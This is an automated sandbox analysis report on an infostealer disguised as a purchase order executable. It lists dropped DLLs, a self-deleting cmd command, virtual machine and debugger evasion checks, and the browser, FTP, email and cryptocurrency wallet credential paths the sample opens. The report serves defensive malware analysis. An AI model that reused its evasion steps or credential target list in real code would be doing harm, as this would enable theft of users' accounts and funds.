Source: C:\Users\user\Desktop\PO No. 3200005919.exe File created: C:\Users\user\AppData\Local\Temp\94EA6FBC\api-ms-win-crt-time-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\PO No. 3200005919.exe File created: C:\Users\user\AppData\Local\Temp\94EA6FBC\api-ms-win-core-processenvironment-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\PO No. 3200005919.exe File created: C:\Users\user\AppData\Local\Temp\94EA6FBC\api-ms-win-core-rtlsupport-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\PO No. 3200005919.exe File created: C:\Users\user\AppData\Local\Temp\94EA6FBC\api-ms-win-core-memory-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\PO No. 3200005919.exe File created: C:\Users\user\AppData\Local\Temp\94EA6FBC\api-ms-win-core-file-l2-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\PO No. 3200005919.exe File created: C:\Users\user\AppData\Local\Temp\94EA6FBC\api-ms-win-core-synch-l1-2-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\PO No. 3200005919.exe File created: C:\Users\user\AppData\Local\Temp\94EA6FBC\api-ms-win-crt-convert-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\PO No. 3200005919.exe File created: C:\Users\user\AppData\Local\Temp\94EA6FBC\api-ms-win-core-console-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\PO No. 3200005919.exe File created: C:\Users\user\AppData\Local\Temp\94EA6FBC\api-ms-win-core-datetime-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\PO No. 3200005919.exe File created: C:\Users\user\AppData\Local\Temp\94EA6FBC\api-ms-win-core-interlocked-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\PO No. 3200005919.exe File created: C:\Users\user\AppData\Local\Temp\94EA6FBC\nss3.dll Jump to dropped file
Source: C:\Users\user\Desktop\PO No. 3200005919.exe File created: C:\Users\user\AppData\Local\Temp\94EA6FBC\api-ms-win-crt-utility-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\PO No. 3200005919.exe File created: C:\Users\user\AppData\Local\Temp\94EA6FBC\api-ms-win-core-string-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\PO No. 3200005919.exe File created: C:\Users\user\AppData\Local\Temp\94EA6FBC\api-ms-win-core-errorhandling-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\PO No. 3200005919.exe File created: C:\Users\user\Overfurnished\Tuberculisation\Woodwose\Circularizations126\Iltningernes\Mellivorous\WMIMethod.dll Jump to dropped file
Source: C:\Users\user\Desktop\PO No. 3200005919.exe File created: C:\Users\user\AppData\Local\Temp\94EA6FBC\api-ms-win-crt-string-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\PO No. 3200005919.exe File created: C:\Users\user\AppData\Local\Temp\94EA6FBC\api-ms-win-crt-multibyte-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\PO No. 3200005919.exe File created: C:\Users\user\AppData\Local\Temp\94EA6FBC\api-ms-win-crt-filesystem-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\PO No. 3200005919.exe File created: C:\Users\user\AppData\Local\Temp\94EA6FBC\api-ms-win-crt-private-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\PO No. 3200005919.exe File created: C:\Users\user\AppData\Local\Temp\94EA6FBC\api-ms-win-core-timezone-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\PO No. 3200005919.exe File created: C:\Users\user\AppData\Local\Temp\94EA6FBC\api-ms-win-crt-conio-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\PO No. 3200005919.exe File created: C:\Users\user\AppData\Local\Temp\94EA6FBC\api-ms-win-core-sysinfo-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\PO No. 3200005919.exe File created: C:\Users\user\AppData\Local\Temp\94EA6FBC\msvcp140.dll Jump to dropped file
Source: C:\Users\user\Desktop\PO No. 3200005919.exe File created: C:\Users\user\AppData\Local\Temp\94EA6FBC\api-ms-win-core-file-l1-2-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\PO No. 3200005919.exe File created: C:\Users\user\AppData\Local\Temp\94EA6FBC\freebl3.dll Jump to dropped file

Hooking and other Techniques for Hiding and Protection

barindex
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Process created: C:\Windows\system32\cmd.exe" /c C:\Windows\system32\timeout.exe 3 & del "PO No. 3200005919.exe
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Process created: C:\Windows\system32\cmd.exe" /c C:\Windows\system32\timeout.exe 3 & del "PO No. 3200005919.exe Jump to behavior
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion

barindex
Source: C:\Users\user\Desktop\PO No. 3200005919.exe File opened: C:\Program Files\Qemu-ga\qemu-ga.exe Jump to behavior
Source: C:\Users\user\Desktop\PO No. 3200005919.exe File opened: C:\Program Files\qga\qga.exe Jump to behavior
Source: C:\Users\user\Desktop\PO No. 3200005919.exe File opened: C:\Program Files\Qemu-ga\qemu-ga.exe Jump to behavior
Source: C:\Users\user\Desktop\PO No. 3200005919.exe File opened: C:\Program Files\qga\qga.exe Jump to behavior
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\94EA6FBC\api-ms-win-core-namedpipe-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\94EA6FBC\api-ms-win-crt-runtime-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\94EA6FBC\api-ms-win-core-synch-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\94EA6FBC\nssdbm3.dll Jump to dropped file
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\94EA6FBC\api-ms-win-core-localization-l1-2-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\94EA6FBC\api-ms-win-crt-heap-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\94EA6FBC\api-ms-win-core-profile-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\94EA6FBC\api-ms-win-core-processthreads-l1-1-1.dll Jump to dropped file
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\94EA6FBC\api-ms-win-crt-environment-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Dropped PE file which has not been started: C:\Users\user\Overfurnished\Tuberculisation\Woodwose\Circularizations126\Iltningernes\Mellivorous\qipcap.dll Jump to dropped file
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\94EA6FBC\api-ms-win-crt-time-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\94EA6FBC\api-ms-win-core-processenvironment-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\94EA6FBC\api-ms-win-core-rtlsupport-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\94EA6FBC\api-ms-win-core-memory-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\94EA6FBC\api-ms-win-core-file-l2-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\94EA6FBC\api-ms-win-crt-process-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\94EA6FBC\api-ms-win-core-handle-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\94EA6FBC\api-ms-win-core-synch-l1-2-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\94EA6FBC\api-ms-win-core-file-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\94EA6FBC\api-ms-win-crt-convert-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\94EA6FBC\api-ms-win-core-console-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\94EA6FBC\api-ms-win-core-datetime-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\94EA6FBC\api-ms-win-core-interlocked-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\94EA6FBC\api-ms-win-core-util-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\94EA6FBC\api-ms-win-core-libraryloader-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\94EA6FBC\api-ms-win-crt-utility-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\94EA6FBC\api-ms-win-core-processthreads-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\94EA6FBC\api-ms-win-crt-math-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\94EA6FBC\api-ms-win-core-string-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\94EA6FBC\api-ms-win-core-errorhandling-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Dropped PE file which has not been started: C:\Users\user\Overfurnished\Tuberculisation\Woodwose\Circularizations126\Iltningernes\Mellivorous\WMIMethod.dll Jump to dropped file
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\94EA6FBC\api-ms-win-crt-stdio-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\94EA6FBC\api-ms-win-crt-string-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\94EA6FBC\api-ms-win-core-heap-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\94EA6FBC\api-ms-win-crt-locale-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\94EA6FBC\api-ms-win-crt-multibyte-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\94EA6FBC\api-ms-win-crt-filesystem-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\94EA6FBC\softokn3.dll Jump to dropped file
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\94EA6FBC\api-ms-win-crt-private-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\94EA6FBC\api-ms-win-core-timezone-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\94EA6FBC\api-ms-win-crt-conio-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\94EA6FBC\api-ms-win-core-sysinfo-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\94EA6FBC\api-ms-win-core-file-l1-2-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\94EA6FBC\api-ms-win-core-debug-l1-1-0.dll Jump to dropped file
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\94EA6FBC\freebl3.dll Jump to dropped file
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Code function: 1_2_0412040B rdtsc 1_2_0412040B
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Process information queried: ProcessInformation Jump to behavior
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Code function: 1_2_00402862 FindFirstFileW, 1_2_00402862
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Code function: 1_2_004066F3 FindFirstFileW,FindClose, 1_2_004066F3
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Code function: 1_2_00405ABE CloseHandle,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose, 1_2_00405ABE
Source: C:\Users\user\Desktop\PO No. 3200005919.exe System information queried: ModuleInformation Jump to behavior
Source: C:\Users\user\Desktop\PO No. 3200005919.exe API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\PO No. 3200005919.exe API call chain: ExitProcess graph end node
Source: PO No. 3200005919.exe, 00000001.00000002.7117283441.0000000010059000.00000004.00000800.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7240956603.0000000003469000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Hyper-V Guest Shutdown Service
Source: PO No. 3200005919.exe, 00000001.00000002.7117283441.0000000010059000.00000004.00000800.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7240956603.0000000003469000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Hyper-V Remote Desktop Virtualization Service
Source: PO No. 3200005919.exe, 00000005.00000002.7240956603.0000000003469000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: vmicshutdown
Source: PO No. 3200005919.exe, 00000001.00000002.7117283441.0000000010059000.00000004.00000800.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7240956603.0000000003469000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Hyper-V Volume Shadow Copy Requestor
Source: PO No. 3200005919.exe, 00000001.00000002.7117283441.0000000010059000.00000004.00000800.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7240956603.0000000003469000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Hyper-V PowerShell Direct Service
Source: PO No. 3200005919.exe, 00000001.00000002.7117283441.0000000010059000.00000004.00000800.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7240956603.0000000003469000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Hyper-V Time Synchronization Service
Source: PO No. 3200005919.exe, 00000005.00000002.7240956603.0000000003469000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: vmicvss
Source: PO No. 3200005919.exe, 00000005.00000002.7238680594.0000000001796000.00000004.00000020.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7239278080.00000000017E5000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: PO No. 3200005919.exe, 00000001.00000002.7117283441.0000000010059000.00000004.00000800.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7240956603.0000000003469000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Hyper-V Data Exchange Service
Source: PO No. 3200005919.exe, 00000001.00000002.7117283441.0000000010059000.00000004.00000800.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7240956603.0000000003469000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Hyper-V Heartbeat Service
Source: PO No. 3200005919.exe, 00000001.00000002.7117283441.0000000010059000.00000004.00000800.00020000.00000000.sdmp, PO No. 3200005919.exe, 00000005.00000002.7240956603.0000000003469000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: Hyper-V Guest Service Interface
Source: PO No. 3200005919.exe, 00000005.00000002.7240956603.0000000003469000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: vmicheartbeat
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Code function: 1_2_0412040B rdtsc 1_2_0412040B
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Code function: 1_2_0412C48A mov eax, dword ptr fs:[00000030h] 1_2_0412C48A
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Code function: 1_2_04140F30 mov eax, dword ptr fs:[00000030h] 1_2_04140F30
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Code function: 1_2_041432EB mov eax, dword ptr fs:[00000030h] 1_2_041432EB
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Code function: 1_2_04140F4D LdrLoadDll, 1_2_04140F4D
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Process created: C:\Users\user\Desktop\PO No. 3200005919.exe C:\Users\user\Desktop\PO No. 3200005919.exe Jump to behavior
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe" /c C:\Windows\system32\timeout.exe 3 & del "PO No. 3200005919.exe Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\timeout.exe C:\Windows\system32\timeout.exe 3 Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 Jump to behavior
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Code function: 1_2_00403489 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess, 1_2_00403489

Stealing of Sensitive Information

barindex
Source: Yara match File source: 5.2.PO No. 3200005919.exe.1de7883c.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.PO No. 3200005919.exe.1de22afc.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.PO No. 3200005919.exe.1de27450.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000005.00000002.7268634345.000000001D92C000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.7267996696.000000001D8D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.7257083339.000000001D3C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.7270679422.000000001DE20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: PO No. 3200005919.exe PID: 5920, type: MEMORYSTR
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook Jump to behavior
Source: C:\Users\user\Desktop\PO No. 3200005919.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\ Jump to behavior
Source: C:\Users\user\Desktop\PO No. 3200005919.exe File opened: C:\Users\user\AppData\Roaming\Jaxx\Local Storage\ Jump to behavior
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Sessions\ Jump to behavior
Source: C:\Users\user\Desktop\PO No. 3200005919.exe File opened: C:\Users\user\AppData\Roaming\filezilla\recentservers.xml Jump to behavior
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Key opened: HKEY_CURRENT_USER\Software\monero-project\monero-core Jump to behavior
Source: C:\Users\user\Desktop\PO No. 3200005919.exe Key opened: HKEY_CURRENT_USER\Software\Bitcoin\Bitcoin-Qt Jump to behavior
Source: PO No. 3200005919.exe, 00000005.00000002.7267996696.000000001D8D0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: %appdata%\Electrum\wallets\
Source: PO No. 3200005919.exe, 00000005.00000002.7267996696.000000001D8D0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: %appdata%\Electrum\wallets\
Source: PO No. 3200005919.exe, 00000005.00000002.7239043699.00000000017CA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: jC:\Users\user\AppData\Roaming\Jaxx\Local Storage\\*
Source: PO No. 3200005919.exe, 00000005.00000002.7267996696.000000001D8D0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: %APPDATA%\Exodus\
Source: PO No. 3200005919.exe, 00000005.00000002.7239043699.00000000017CA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: jC:\Users\user\AppData\Roaming\Jaxx\Local Storage\\*
Source: PO No. 3200005919.exe, 00000005.00000002.7267996696.000000001D8D0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: %APPDATA%\Ethereum\keystore\
Source: PO No. 3200005919.exe, 00000005.00000002.7267996696.000000001D8D0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: %APPDATA%\Exodus\
Source: PO No. 3200005919.exe, 00000005.00000002.7267996696.000000001D8D0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: %APPDATA%\Ethereum\keystore\
Source: PO No. 3200005919.exe, 00000005.00000002.7267996696.000000001D8D0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: %APPDATA%\Ethereum\keystore\
Source: PO No. 3200005919.exe, 00000005.00000002.7267996696.000000001D8D0000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: %appdata%\Electrum-LTC\wallets\
Source: C:\Users\user\Desktop\PO No. 3200005919.exe File opened: C:\Users\user\AppData\Roaming\.purple\accounts.xml Jump to behavior
Source: C:\Users\user\Desktop\PO No. 3200005919.exe File opened: C:\Users\user\AppData\Roaming\.purple\accounts.xml Jump to behavior
Source: C:\Users\user\Desktop\PO No. 3200005919.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Source: Yara match File source: 5.2.PO No. 3200005919.exe.1de7883c.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.PO No. 3200005919.exe.1de22afc.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.PO No. 3200005919.exe.1de27450.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000005.00000002.7270679422.000000001DE20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: PO No. 3200005919.exe PID: 5920, type: MEMORYSTR
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs